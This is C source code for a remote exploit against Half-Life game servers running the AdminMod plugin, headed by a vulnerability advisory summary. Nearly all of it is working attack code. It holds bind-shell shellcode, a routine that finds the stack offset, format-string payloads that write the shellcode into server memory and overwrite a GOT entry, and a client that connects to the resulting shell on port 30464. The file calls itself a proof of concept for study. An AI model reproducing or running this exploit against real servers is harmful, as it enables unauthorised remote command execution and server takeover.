// source: https://www.securityfocus.com/bid/6580/info
// A format string vulnerability has been discovered in the Half-Life AdminMod plugin. The problem occurs in commands which call the selfmessage() function, which is used by other functions to write a message to the users console. The format string occurs when the System_Response() function is called by selfmessage() to log the administrative command. An 'rcon' authenticated user may be able to exploit this issue to overwrite sensitive locations in memory.
// Successful exploitation of this issue would allow an attacker to execute arbitrary commands with the privileges of the Half-Life server.
/*****************************************************************
* hoagie_adminmod.c
*
* Remote exploit for Halflife-Servers running the Adminmod-Plugin
* (rcon-password required)
*
* Binds a shell to port 30464/tcp and connects to it.
*
* Author: greuff@void.at
*
* Tested on HL-Server v3.1.1.0 and AdminMod 2.50.26a, 2.50.50
*
* Credits:
* void.at
* Taeho Oh for using parts of his shellcode-connection code.
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#define VSNPRINTF_GOT_ADDRESS 0x0804ce18
#define OFFSET 0x41414141
#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))
// forks and binds a shell to 30464/tcp. parent process exit()s.
char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
"\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
"\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
"\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
"\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
"\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
"\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
"\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
"\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
"\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
"\x24\x31\xc0\xb0\x0b\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";
char server_ip[20];
char rcon_pwd[30];
int server_port;
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh()
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
if(inet_aton(server_ip,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell\n");
exit(0);
}
return sockfd;
}
void create_conn(int *sock, char *host, int port)
{
struct sockaddr_in sin;
struct timeval timeout;
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
timeout.tv_sec=10;
timeout.tv_usec=0;
if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
sizeof(timeout))<0)
perror("setsockopt"),exit(1);
if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
sizeof(timeout))<0)
perror("setsockopt"),exit(1);
}
void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
{
char msg[2000];
struct sockaddr_in sin;
struct sockaddr_in sfrom;
fd_set fdset;
int dummy;
usleep(100);
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
perror("sendto"), exit(1);
if(reply)
{
if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
{
if(errno==EAGAIN)
{
// resend message
printf("msg stalled, resending...\n");
sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
perror("sendto"), exit(1);
else
printf("resend OK\n");
if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
perror("recvfrom"),exit(1);
}
else
perror("recvfrom"), exit(1);
}
if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
fprintf(stderr,"protocol error: reply\n"), exit(1);
strcpy(reply,msg+4);
}
}
void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun)
{
char reply[1000];
char msg[2000];
lowlevel_rcon(sock,host,port,"challenge rcon",reply);
if(!strstr(reply,"challenge rcon "))
fprintf(stderr,"protocol error\n"), exit(1);
reply[strlen(reply)-1]=0;
sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon "),rconpwd,cmd);
if(reply_fun)
lowlevel_rcon(sock,host,port,msg,reply);
else
lowlevel_rcon(sock,host,port,msg,NULL);
if(reply_fun)
strcpy(reply_fun,reply);
}
int get_padding(unsigned char c,int bytes_written)
{
int write_byte=c;
int already_written=bytes_written;
int padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
return padding;
}
void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
int *p4, int bytes_written)
{
// greetings to scud :-)
int write_byte;
int already_written;
int padding;
write_byte=SB1(addr);
already_written=bytes_written;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p1=padding;
write_byte=SB2(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p2=padding;
write_byte=SB3(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p3=padding;
write_byte=SB4(addr);
already_written+=padding;
write_byte+=0x100;
already_written%=0x100;
padding=(write_byte-already_written)%0x100;
if(padding<10) padding+=0x100;
*p4=padding;
}
int main(int argc, char **argv)
{
int sock, stackpops, padding;
int i,j,bytes_written;
int p1,p2,p3,p4;
char cmd[1000], reply[1000];
unsigned long addr;
printf("hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin\n"
"by greuff@void.at\n\n");
if(argc!=4)
{
printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]);
exit(1);
}
strcpy(server_ip,argv[1]);
server_port=strtol(argv[2],NULL,10);
strcpy(rcon_pwd,argv[3]);
create_conn(&sock,server_ip,server_port);
printf("Getting stackpop count...");
send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
stackpops=-1;
for(padding=0;padding<4 && stackpops==-1;padding++)
{
for(i=1;i<100 && stackpops==-1;i++)
{
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
sprintf(reply,"AAAA%%%d$08x",i);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
reply[strlen(reply)-1]=0;
if(strstr(reply,"AAAA41414141"))
{
stackpops=i;
bytes_written=4+padding;
}
printf(".");
fflush(stdout);
}
}
padding--;
if(stackpops==-1)
{
printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
exit(1);
}
printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);
// inject shellcode
printf("Writing shellcode...");
addr=OFFSET;
for(i=0;i<strlen(shellcode);)
{
int t;
if((addr&0xFF)>0x75)
{
// leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
// distance is 0x13B-0x7A = 193d
unsigned long target=192;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding(0xe9,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding(target&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding((target>>8)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding((target>>16)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding((target>>24)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr+=193;
}
else
{
// write shellcode-pieces
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding(shellcode[i],bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
i++;
}
printf(".");
fflush(stdout);
}
// overwrite GOT entry with shellcode address
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+28);
addr=VSNPRINTF_GOT_ADDRESS;
sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
"%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
(addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
(addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
(addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
(addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
sleep(1);
close(sock);
printf("\nConnecting to the shell...\n");
exec_sh(connect_sh());
return 0;
}
